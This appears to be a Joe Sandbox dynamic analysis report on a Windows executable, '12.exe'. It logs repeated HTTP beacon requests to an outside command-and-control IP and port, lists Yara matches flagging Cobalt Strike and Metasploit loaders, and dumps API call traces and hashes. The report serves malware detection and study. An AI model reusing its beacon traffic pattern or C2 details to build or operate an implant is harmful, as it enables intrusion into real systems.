Dec 26, 2024 19:31:05.641815901 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	50067	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:31:08.545495987 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	50068	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:31:11.439768076 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	50069	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:31:14.336307049 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	50070	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:31:17.221771002 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	50071	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:31:20.126601934 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	50072	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:31:23.079849958 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	50073	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:31:26.002208948 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	50074	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:31:28.897826910 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	50075	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:31:31.800551891 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	50076	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:31:34.753815889 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	50077	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:31:37.813818932 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	50078	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:31:41.056504965 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	50079	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:31:43.970377922 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	50080	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:31:46.860937119 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	50081	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:31:49.751136065 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	50082	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:31:52.641571045 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	50083	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:31:55.534957886 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	50084	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:31:58.470114946 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	50085	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:32:01.470427990 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Target ID:	0
Start time:	13:27:56
Start date:	26/12/2024
Path:	C:\Users\user\Desktop\12.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\12.exe"
Imagebase:	0x400000
File size:	324'096 bytes
MD5 hash:	C8C40C038A4A8541E0924520599D8C28
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000002.4124981749.0000000000DE8000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000002.4124981749.0000000000DE8000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_ReflectiveLoader, Description: Yara detected ReflectiveLoader, Source: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike, Description: Yara detected CobaltStrike, Source: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_ee756db7, Description: Attempts to detect Cobalt Strike based on strings found in BEACON, Source: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Beacon_K5om, Description: Detects Meterpreter Beacon - file K5om.dll, Source: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: CobaltStrike_Unmodifed_Beacon, Description: Detects unmodified CobaltStrike beacon DLL, Source: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Author: yara@s3c.za.net Rule: Leviathan_CobaltStrike_Sample_1, Description: Detects Cobalt Strike sample from Leviathan report, Source: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: crime_win32_csbeacon_1, Description: Detects Cobalt Strike loader, Source: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Author: @VK_Intel Rule: WiltedTulip_ReflectiveLoader, Description: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, Source: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: INDICATOR_SUSPICIOUS_ReflectiveLoader, Description: detects Reflective DLL injection artifacts, Source: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_CobaltStrike, Description: CobaltStrike payload, Source: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ReflectiveLoader, Description: Yara detected ReflectiveLoader, Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike, Description: Yara detected CobaltStrike, Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_ee756db7, Description: Attempts to detect Cobalt Strike based on strings found in BEACON, Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Author: unknown Rule: Beacon_K5om, Description: Detects Meterpreter Beacon - file K5om.dll, Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: CobaltStrike_Unmodifed_Beacon, Description: Detects unmodified CobaltStrike beacon DLL, Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Author: yara@s3c.za.net Rule: Leviathan_CobaltStrike_Sample_1, Description: Detects Cobalt Strike sample from Leviathan report, Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: crime_win32_csbeacon_1, Description: Detects Cobalt Strike loader, Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Author: @VK_Intel Rule: WiltedTulip_ReflectiveLoader, Description: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: INDICATOR_SUSPICIOUS_ReflectiveLoader, Description: detects Reflective DLL injection artifacts, Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_CobaltStrike, Description: CobaltStrike payload, Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	2.4%
Dynamic/Decrypted Code Coverage:	89.5%
Signature Coverage:	18.1%
Total number of Nodes:	591
Total number of Limit Nodes:	17

Executed Functions

Function 00DB2C3F Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 186
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00DB2C80
__snprintf.LIBCMT ref: 00DB2CA7

Part of subcall function 00DB95F6: _memset.LIBCMT ref: 00DB9617

__snprintf.LIBCMT ref: 00DB2D23
__snprintf.LIBCMT ref: 00DB2D3A
HttpOpenRequestA.WININET(00000000,?,00000000,00000000,00DE1540,00DEFFC4), ref: 00DB2D69
HttpSendRequestA.WININET(00000000,?,?,00DB2E54,?), ref: 00DB2D92
InternetCloseHandle.WININET(00000000), ref: 00DB2DAF

Part of subcall function 00DB5EEC: _memset.LIBCMT ref: 00DB5EFC
Part of subcall function 00DB5EEC: _memset.LIBCMT ref: 00DB5F08
Part of subcall function 00DB5EEC: __snprintf.LIBCMT ref: 00DB5F59
Part of subcall function 00DB5EEC: _memset.LIBCMT ref: 00DB5F90
Part of subcall function 00DB5EEC: _memset.LIBCMT ref: 00DB5F9B

Part of subcall function 00DB5FB6: _memset.LIBCMT ref: 00DB5FC6
Part of subcall function 00DB5FB6: _memset.LIBCMT ref: 00DB5FD2
Part of subcall function 00DB5FB6: __snprintf.LIBCMT ref: 00DB602E
Part of subcall function 00DB5FB6: _memset.LIBCMT ref: 00DB604C
Part of subcall function 00DB5FB6: _memset.LIBCMT ref: 00DB6057

InternetQueryDataAvailable.WININET(00000000,00DB158B,00000000,00000000), ref: 00DB2DC0
InternetReadFile.WININET(00000000,?,00001000,?), ref: 00DB2DEE
InternetCloseHandle.WININET(00000000), ref: 00DB2E0E
InternetCloseHandle.WININET(00000000), ref: 00DB2E2F

Strings

%s%s, xrefs: 00DB2D33
*/*, xrefs: 00DB2C67

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: _memset$Internet__snprintf$CloseHandle$HttpRequest$AvailableDataFileOpenQueryReadSend
String ID: %s%s$*/*
API String ID: 2172916581-856325523
Opcode ID: a307bf958a50ea51b03ddb6392535589610dd15a020d1c8808cec29aba166382
Instruction ID: b5d233cf7fad8aab5e8b8d5a585120e5f14a14f72ec0b6661b5db1504d37f184
Opcode Fuzzy Hash: a307bf958a50ea51b03ddb6392535589610dd15a020d1c8808cec29aba166382
Instruction Fuzzy Hash: 4E519D72900219FFDF11AFA5DC85EFEBBB9EB04310B04446AF516A7261DA309A45CBB4

Function 00DB2C3F Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 186
networkfileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00DB2C80
__snprintf.LIBCMT ref: 00DB2CA7

Part of subcall function 00DB95F6: _memset.LIBCMT ref: 00DB9617

__snprintf.LIBCMT ref: 00DB2D23
__snprintf.LIBCMT ref: 00DB2D3A
HttpOpenRequestA.WININET(00000000,?,00000000,00000000,00DE1540,00DEFFC4), ref: 00DB2D69
HttpSendRequestA.WININET(00000000,?,?,00DB2E54,?), ref: 00DB2D92
InternetCloseHandle.WININET(00000000), ref: 00DB2DAF

Part of subcall function 00DB5EEC: _memset.LIBCMT ref: 00DB5EFC
Part of subcall function 00DB5EEC: _memset.LIBCMT ref: 00DB5F08
Part of subcall function 00DB5EEC: __snprintf.LIBCMT ref: 00DB5F59
Part of subcall function 00DB5EEC: _memset.LIBCMT ref: 00DB5F90
Part of subcall function 00DB5EEC: _memset.LIBCMT ref: 00DB5F9B

Part of subcall function 00DB5FB6: _memset.LIBCMT ref: 00DB5FC6
Part of subcall function 00DB5FB6: _memset.LIBCMT ref: 00DB5FD2
Part of subcall function 00DB5FB6: __snprintf.LIBCMT ref: 00DB602E
Part of subcall function 00DB5FB6: _memset.LIBCMT ref: 00DB604C
Part of subcall function 00DB5FB6: _memset.LIBCMT ref: 00DB6057

InternetQueryDataAvailable.WININET(00000000,00DB158B,00000000,00000000), ref: 00DB2DC0
InternetReadFile.WININET(00000000,?,00001000,?), ref: 00DB2DEE
InternetCloseHandle.WININET(00000000), ref: 00DB2E0E
InternetCloseHandle.WININET(00000000), ref: 00DB2E2F

Strings

%s%s, xrefs: 00DB2D33
*/*, xrefs: 00DB2C67

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: _memset$Internet__snprintf$CloseHandle$HttpRequest$AvailableDataFileOpenQueryReadSend
String ID: %s%s$*/*
API String ID: 2172916581-856325523
Opcode ID: f2261827d8974748310db327985d8dd93d49b4ee832212f1f452f378845dce21
Instruction ID: b5d233cf7fad8aab5e8b8d5a585120e5f14a14f72ec0b6661b5db1504d37f184
Opcode Fuzzy Hash: f2261827d8974748310db327985d8dd93d49b4ee832212f1f452f378845dce21
Instruction Fuzzy Hash: 4E519D72900219FFDF11AFA5DC85EFEBBB9EB04310B04446AF516A7261DA309A45CBB4

Function 0040116C Relevance: 19.7, APIs: 13, Instructions: 199
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 004011B7
SetUnhandledExceptionFilter.KERNEL32 ref: 00401238
__p__acmdln.MSVCRT ref: 00401261
malloc.MSVCRT ref: 004012EB
strlen.MSVCRT ref: 0040131B
malloc.MSVCRT ref: 00401326
memcpy.MSVCRT ref: 0040133C
GetStartupInfoA.KERNEL32 ref: 00401433

Memory Dump Source

Source File: 00000000.00000002.4124711597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4124700446.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124722740.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124733573.0000000000404000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124757842.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124769608.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_12.jbxd

Similarity

API ID: malloc$ExceptionFilterInfoSleepStartupUnhandled__p__acmdlnmemcpystrlen
String ID:
API String ID: 1672962128-0
Opcode ID: 403f90f316b1dd4bb9580ff5369489e89610e9102d5ba99587d81e0cd643e45f
Instruction ID: cd1cdbe7929d0bdf955f1aec1ac9dc0fa1fb6e5342f4dd5585025b5f235b2fbc
Opcode Fuzzy Hash: 403f90f316b1dd4bb9580ff5369489e89610e9102d5ba99587d81e0cd643e45f
Instruction Fuzzy Hash: 13817BB5A043058FDB10DF69E98476E77E0FB49305F00443EEA84AB3A2D779D845CB8A

